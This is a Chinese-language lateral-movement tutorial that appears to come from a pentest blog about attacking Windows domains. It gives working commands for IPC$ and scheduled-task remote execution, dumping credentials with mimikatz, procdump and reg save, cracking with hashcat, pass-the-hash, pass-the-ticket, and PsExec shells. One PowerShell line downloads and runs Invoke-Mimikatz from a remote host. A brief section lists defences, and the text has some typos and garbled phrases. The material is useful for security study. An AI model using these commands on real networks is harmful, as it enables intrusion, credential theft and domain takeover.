域内横向移动一
利用域内横向移动技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)
通过此类攻击手法,最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设置和与业务相关的关键账户
0x01 常用的windows远程连接和相关命令
在拿到目标计算机的用户明文密码或者NTLM Hash后,可通过PTH(Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows操作系统中执行命令。像在多层代理环境中进行渗透,由于网络条件差,无法使用图形化界面连接远程主机。这个时候就可以用命令行的方式连接远程主机,最好是windows自带的方法对远程目标系统进行命令行下的连接操作,并执行相关命令
IPC
IPC(Inter Process Connection)共享命名管道
的资源,是为了实现进程间通信而开放的命名管道。IPC
可以通过验证用户名和密码获取相应权限,通常在远程管理计算机和查看计算机的共享资源时使用
通过ipc$
可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器只能够的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息
建立一个ipc$
并查看当前连接输入如下命令
1 | net use \\192.168.1.1\ipc$ "Admin!@#$4321" /user:administrator |
1、ipc$的利用条件
- 开启了139、445端口
ipc$
可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$
需要139、445端口
的支持
- 管理员开启了默认共享
- 默认共享是为了方便管理员进行远程管理而默认开启,包括所有的逻辑盘(
c$
、d$
、e$
等)和系统目录wint或Windows(admin$)
。通过ipc,可以实现对这些默认贡献目录的访问
2、ipc$连接失败的原因
- 用户名或密码错误
- 目标没有打开ipc$共享目录
- 不能成功连接目标的139、445端口
- 命令输入错误
3、常见错误
- 错误号5:拒绝访问
- 错误号51:windows无法找到网络路径,即网络中存在问题
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标lanmanserver服务未启动、目标有防火墙(端口过滤)
- 错误号67:找不到网络名,包括lanmanworkstation服务未启动、ipc$已被删除
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接
- 错误号1326:未知的用户名或密码错误
- 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogin服务未启动(连接域控制器时会出现此情况)
- 错误号2242:此用户的密码已经过期。例如,目标机器设置了账号管理策略,强制用户定期修改密码
使用Windows自带的工具获取远程主机信息
1、dir命令
建立连接后,使用dir命令列出远程主机中的文件
1 | dir \\192.168.1.1\c$ |
2、tasklist命令
在使用net use
命令与目标主机建立ipc$
后,使用tasklist
命令的/S 、/U、/P
参数列出远程主机上运行的进程
1 | tasklist /S 192.168.1.1 /U administrator /P Admin!@#$4321 |
计划任务
1、at命令
at
是Windows自带的用于创建计划任务的命令,它主要工作在Windows Server2008之前版本的操作系统中。使用at
命令在远程目标机器上创建计划任务的流程大致如下:
- 使用
net time
命令确定远程机器当前的系统时间 - 使用copy命令将payload文件复制到远程目标机器中
- 使用at命令定时启动创建计划任务的记录
在使用at
命令在远程机器上创建计划任务之前,需要使用net use
命令建立ipc$
(1)查看目标系统时间
net time
命令可查看远程主机的系统时间
1 | net time \\192.168.1.1 |
(2)将文件复制到目标系统中
先在本地创建一个calc.bat
文件,其内容为calc
然后,让windows远程一个计算器
策划那个废墟,用Windows自带的copy命令将一个文件复制到远程主机的C盘中
1 | copy calc.bat \\192.168.1.1\C$ |
(3)使用at创建计划任务
使用at
命令让目标系统在指定时间运行一个程序,192.168.1.3是一台Windows7
1 | at \\192.168.1.3 15:22:40 C:\calc.bat |
(4)清除at记录
计划任务不会随着它本身的执行而被删除,因此在执行后记得清楚自己创建的计划任务
1 | at \\192.168.1.3 /delete |
使用at远程执行命令后,先将执行结果写入本地文本文件,再使用type
命令远程读取该文本文件
1 | at \\192.168.1.3 15:33:37 cmd.exe /C "ipconfig" >C:/"1.txt" |
2、schtasks命令
Windows Vista、windows server2008及之后版本的操作系统已将at命令废弃了,可以使用schtasks命令代替at命令.schtask命令比at命令更为灵活、自由
在远程主机创建一个test
的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat
启动权限是system。随后运行该计划任务
1 | schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\cala.bat /ru system /f |
这里使用schtasks
命令不需要密码是因为之前已经建立了ipc$
在没有建立ipc$
的情况下,需要添加/u和/p
的参数。schtasks
命令参数如下
- /u : administrator
- /p: “Admin!@#$4321”
- /f: 强制删除
计划任务运行后,删除该计划任务,命令如下
1 | schtasks /delete /s 192.168.1.3 /tn "test" /f |
最后,删除ipc$
需要确认删除的是自己创建的
1 | net use 名称 /del /y |
在使用schtasks
命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt
如果执行schtasks
命令后没有回显,可配合ipc$
执行文件,使用type
命令远程查看执行结果
0x02 Windoors系统散列值获取
LM Hash和NTLM Hash
windows操作系统通常使用两种方法对用户的明文密码进行加密处理。域环境中,用户信息存储在ntds.dit
,加密后为散列值
windows操作系统密码一般由两部分组成,一部分为LM Hash
另一部分为NTLM Hash
在Windows中,Hash的结构通常如下
1 | username:RID:LM-HASH:NT-HASH |
LM Hash全名为LAN Manager Hash
是微软为了提高windows操作系统的安全性能而采用的散列加密算法,其本质是DES加密,密码不足14字节将用0补全。LM Hash较容易破解,但微软仅仅是将LM Hash禁用了从windows Vista和windows server 2008版本开始,Windows操作系统默认禁用LM Hash
。LM Hash明文密码限定在14位以内,也就是说,如果要停止使用LM Hash 将用户密码设置为14位以上即可。如果LM Hash被禁用,通过工具抓取的LM Hash通常为”add3b435b51404eeaad3b435b51404ee”表示LM Hash为空值或被禁用
NTLM Hash是微软为了提高安全性的同时兼容而设计的散列加密算法。NTLM Hash 是基于MD4加密算法进行加密的。个人版从Windows vista 服务器版从windows server2003以后,windows操作系统的认证方式均为NTLM Hash
单机密码抓取
要想在windows操作系统中抓取散列值或明文密码,必须将权限提升至system
。本地用户名、散列值感和其他安全验证信息都存在SAM
文件中。lsass.exe
进程用于实现windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe
进程或SAM文件
中导出
在windows操作系统中,SAM
文件保存的位置是C:\windows\systen\config
该文件是被锁定的,不允许复制。在渗透中,可在关闭操作系统后,使用PE盘进入文件管理环境,直接复制SAM文件,也可使用VSS等方法进行复制
1、GetPass
打开GetPass工具,根本当前系统的版本运行对应的程序,即可获得
2、PwDump7
在命令行中运行PwDump7
程序,可得到所有账户的NTLM Hash
可用彩虹表或在线破解,破解不出的时候可使用哈希传递的方法进行横向渗透
3、QuarkPwDump
管理员权限下运行,导出用户的NTLM Hash
1 | QuarksPwDump.exe --dump-hash-local |
4、通过SAM和SYSTEM文件抓取密码
(1)导出SAM和SYSTEM文件
到本地磁盘,无工具导出如下
1 | reg save HKLM\SYSTEM system.hive |
(2)通过读取SAM
文件和System
文件获得NTLM Hash
mimikatz可执行哈希传递、票据传递或构建黄金票据(Golden Ticket)
将把导出的sam.hive
跟system.hive
文件放到mimikatz
通目录下,运行mimikatz,输入如下命令
1 | lsadump::sam /sam:sam.hive /system:system.hive |
(3) 使用mimikatz直接读取本地的SAM文件
,导出hash
值
这里需要在目标机器上运行,打开后,输入如下命令,将权限提升到system
最后读取本地的SAM文件,获得NTLM Hash
1 | privilege::debug |
5、使用mimikatz在线读取SAM文件
在线读取散列值及明文密码,如下命令
1 | mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" |
6、使用mimikatz离线读取lsass.dmp文件
(1)导出lasses.dmp文件
在Windows NT6中找到lsass.exe
进程,单击右键,在弹出的快捷菜单中选择Create Dump File
选项
此时会在本地生成lsass(2).exe.DMP文件
(2)使用Procdump
导出lasses.dmp
procdump是微软官方发布工具,可在命令行下将目标lsass文件导出,且杀毒软件不会拦截这些操作,下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
(3)使用mimikatz
导出lasses.dmp
文件中的密码散列值
命令行中启动mimikatz,将lass.dmp加载在mimikatz中
。先运行第一条命令,如果看到Switch to MINIDUMP
字样,表示加载成功,再运行第二条命令,导出密码散列值
1 | sekurlsa::minidump lsass.DMP |
7、使用powershell对散列值进行Dump操作
Nishang的Get-PassHashes.ps1
脚本可用来导出散列值
管理员的权限打开powershelgl,进入Nishang目录,将Get-PassHashes.ps1脚本导入,之后执行Get-PassHashes
命令,导出散列值,测试的时候在域环境中的2008R2跟单环境的win10都不成功,暂时不知道原因
1 | Import-Module .\Get-PassHashes.ps1 |
8、使用powershell远程加载mimikatz抓取散列值和明文密码
在命令行中远程获取密码
1 | powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.3:8000/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz |
使用Hashcat获取密码
1、安装Hashcat
下载地址:https://github.com/hashcat/hashcat/archive/v5.1.0.zip
1 | git clone https://github.com/hashcat/hashcat.git |
还有一种方法是直接下载Hashcat的源码,在相应的linux操作系统中直接运行hashcat32.bin或hashcat64.bin。同时Hashcat还有可执行程序的版本,可在window中直接运行32位或64位的Hashcat,命令如下
1 | ./hashcat64.bin -h |
2、Hashcat的使用方法
使用-b参数,测试使用当前机器进行破解的基准速度,这里由于是在虚拟机中,因此使用–force参数强制执行
1 | hashcat -b --force |
(1) 指定散列值类型
使用-m参数指定散列值类型,常见散列值类型可参考Hashcat帮助或其官网:https://hashcat.net/wiki/doku.php?id=example_hashes
(2) 指定破解模式
可用 -a number来指定Hashcat的破解模式,模式乳腺癌
1 | 0 = Straight //字典破解 |
(3) 常用命令
通常使用字典模式进行破解,输入如下命令,Hashcat将开始破解
1 | hashcat -a 0 -m xx<hashfile> <zidianl> <zidian2> |
- -a 0:以字典模式破解
- -m xx:指定
内的散列值类型 :将多个散列值存入文本,等待破解 :指定字典文件
将1到8指定为数字进行破解
1 | hashcat -a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d -O |
破解windows散列值,命令如下
1 | hashcat-m 1000 -a 0 -o winpassok.txt win.hash password.lst --username |
破解WIFI握手包,命令如下,这里需要使用aircrack-ng把cap格式转换成bccap格式,才可使用hashcat破解
1 | aircrack-ng<out.cap> -J <out.hccap> |
- -m 2500:指定散列值的类型为APA/PSK
(4)常用选项
命令hashcat -h
可查看所有选项,常用的如下
- -show: 仅显示已经破解的密码
- -o,outfile=File:定义散列值文件,恢复文件名和保存位置
- -n,-threads=NUM:线程数
- –remove:把破解出来的密码从散列表中移除
- –segment-size 512:设置内存缓存的大小,可提高破解速度,单位为MB
处于更加方便快捷,可直接使用在线的破解网站,如下
防范抓取明文密码和散列值
1、设置Active Directory2012 R2功能级别
windows server 2012 R2新增了一个名为受保护的用户
的用户组。将需要保护的用户放入该组,则无法使用mimikatz等工具抓取明文密码和散列值了
2、安装KB2871997
KB2871997是解决PsExec或IPC远程查看(c$)问题的补丁,被使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator这个SID为500的用户例外,改名也没法,因为SID是不变的,依旧可以横向获取内网其他计算机的权限,需要禁用默认的Administrator账号,则可防御哈希传递
3、通过修改注册表禁止在内存中存储明文密码
WDigest协议,该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机,可通过修改注册表的方式,解决内存中以明文存储密码的问题
4、防御mimikatz
mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需呀和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程)。将拥有Debug权限的本地管理员从Administrator组中删除,重启。
0x03 哈希传递攻击
哈希传递攻击概念
哈希传递(Pass The Hash)攻击
,该方法通过找到与账户相关的密码散列值,通常是NTLM Hash
来进行攻击。域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。若计算机的本地管理员账号和密码是相同的,就可以使用哈希传递的方法登录内网中的其他计算机,这种哈希传递,可以省去破解密码散列值,即获得密码明文的步骤
Windows中,散列值是用来证明身份的(有正确的用户名和密码散列值,就能通过验证)。在windows server 2012 R2 及之后的操作系统中,默认在内存不会记录明文密码。因此可使用工具将散列值传递到其他计算机,进行权限验证,进而对其他计算机获取控制权限
哈希传递攻击
散列值的概念:当用户设置密码的时候,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登陆网站的时候,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果相同则验证成功。
Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证,早起的Windows操作系统,则使用LM Hash对用户密码进行验证。但是呢,当密码大于等于15位的时候,就无法使用LM Hash了。从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash,因为使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例子LsaLogonUser)转换成散列值。攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。
1、使用NTLM Hash进行哈希传递
实验环境:
域名:hack.testlab
用户名:administrator
NTLM Hash:09bc0266e773764dc3606744ddbe133d
在目标机器上,以管理员的权限运行mimikatz
输入如下命令,之后会弹出cmd.exe
在命令行环境尝试列出域控制器或其他机器的C盘内容,dir后面跟主机名,只有是哈希相同的那么就可以列出其C盘的内容
1 | mimikatz.exe "privilege::debug" |
2、使用AES-256秘钥进行哈希传递
实验环境:远程系统(必须安装KB2871997)
- 域名:hacke.testlab
- 用户名:administrator
- AES-256密钥:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903
1 | mimikatz.exe "privilege::debug" "sekurlsa::ekeys" |
在目标机器中,以管理员权限运行mimikatz
输入如下命令
1 | mimikatz.exe "privilege::debug" |
在目标机器再次运行,即可列出远程主机的C盘内容,测试的过程中在windows7根2008r2没装上补丁
需要注意的是:
dir
后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误- 除了AES-256密钥,AES-128密钥也可以用来进行哈希传递
- 使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997
- 如果安装了KB2871997,仍然可以使用SID为500的用户的NTLMHash进行哈希传递
- 使用mimikatz哈希传递功能,需要具备本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)
KB2871997补丁影响
KB2871997补丁的作用是禁止通过本地管理员权限与远程计算机进行连接,因此安装本补丁时,本地管理员权限无法对远程计算机使用PsExec、WMI、smbexec、schtasks、at,也无法访问远程主机的文件共享等
更新KB2871997补丁后,无法使用常规的哈希传递方法进行横向移动,但Aadministrator账号(SID为500)例外,使用该账号的散列值依旧可以进行哈希传递。
SID为500的账号。在一些计算机中即使将administrator账号改名,也不会影响SID的值。因此使用SID为500的账号进行横向移动,就不会受到KB2871997的影响
0x04票据传递
要想使用mimikatz的哈希传递功能,需要具备本地管理员权限,mimikatz提供了不需要本地管理员全新进行横向渗透的方法,如票据传递(Pass The Ticket, PTT)
使用mimikatz进行票据传递
使用mimikatz
可以将内存中的票据导出。导出命令如下
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" |
执行票据导出命令后,会在当前目录下出现多个服务的票据文件,如krbtgt、cifs、ldap
等,使用mimikatz清楚内存中的票据,随之将票据文件注入内存,将高权限的票据文件注入内存后,可列出远程计算机系统的文件目录命令如下
1 | kerberos::purge |
使用kekeo进行票据传递
票据传递也可以使用kekeo
工具来实现,下载地址:https://github.com/gentilkiwi/kekeo
kekeo
需要使用域名、用户名、NTLMHash
三者配合生成票据,再将票据导入,从而直接连接远程计算机
实验环境
- 域名:hacke.testlab
- 用户名:administrator
- NTLM Hash:09bc0266e773764dc3606744ddbe133d
在目标机器中输入命令,运行kekeo,在当前目录下生成一个票据文件,票据文件为TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi
。如图
1 | kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d |
在kekeo中清除当前内存中的其他票据(否则可能导致票据传递失败),在windows命令运行环境中执行系统自带的命令,也可以清除内存中的票据
1 | kerberos::purge |
使用kekeo
将票据文件导入内存,将票据文件导入内存后,使用exit 命令退出kekeo
使用dir命令,列出远程主机中的文件命令如下
1 | kerberos::ptt TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi |
需要注意的是:
- dir命令,是主机,不要使用ip地址
- 票据文件注入的默认有效时间是10小时
- 目标机器上不需要本地管理员权限即可进行票据传递
PsExec的使用
PsExec可以在windows vista/Nt 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016包含64位版本上运行
PsTools工具包中的PsExec
PsExec包含在PsTools工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip。通过PsExec,可以在远程计算机上执行命令,可以将管理员权限提升到system权限以运行执行的程序。
PsExec原理:
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC
的二进制文件,之后,通过psexec服务运行命令,运行结束后删除服务。
获取目标操作系统的交互式shell,在建立ipc$
的情况下,执行如下命令,可以获取system权限的shell
1 | net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator |
在没有建立ipc$``PsExec
有两个参数可以通过指定账号和密码进行远程连接,注意这里用户名前面要加域,不然会提示登录失败: 未知的用户名或错误密码
- -u:域\用户名
- -p:密码
1 | PsExec.exe \\192.168.1.2 -u administrator -p Admin!@#$4321 cmd.exe |
使用PsExec时,需要注意:
- 需要远程系统开启admin$共享(默认是开启的)
- 在使用ipc$连接目标系统后,不需要输入账号和密码
- 使用PsExec执行命令时,由于创建或删除服务时会产生大量的日志,可通过日志反推攻击
- 使用PsExec可以直接获得system权限的交互式shell
metasploit中的psexec模块
使用命令进行搜索,然后输入对应的使用命令,这里测试的时候没成,暂时不知道原因…
1 | search psexec |
psexec_pth模块和psexec模块的使用方法相同,psexec_pth模块上传的饿payload是powershell版本的。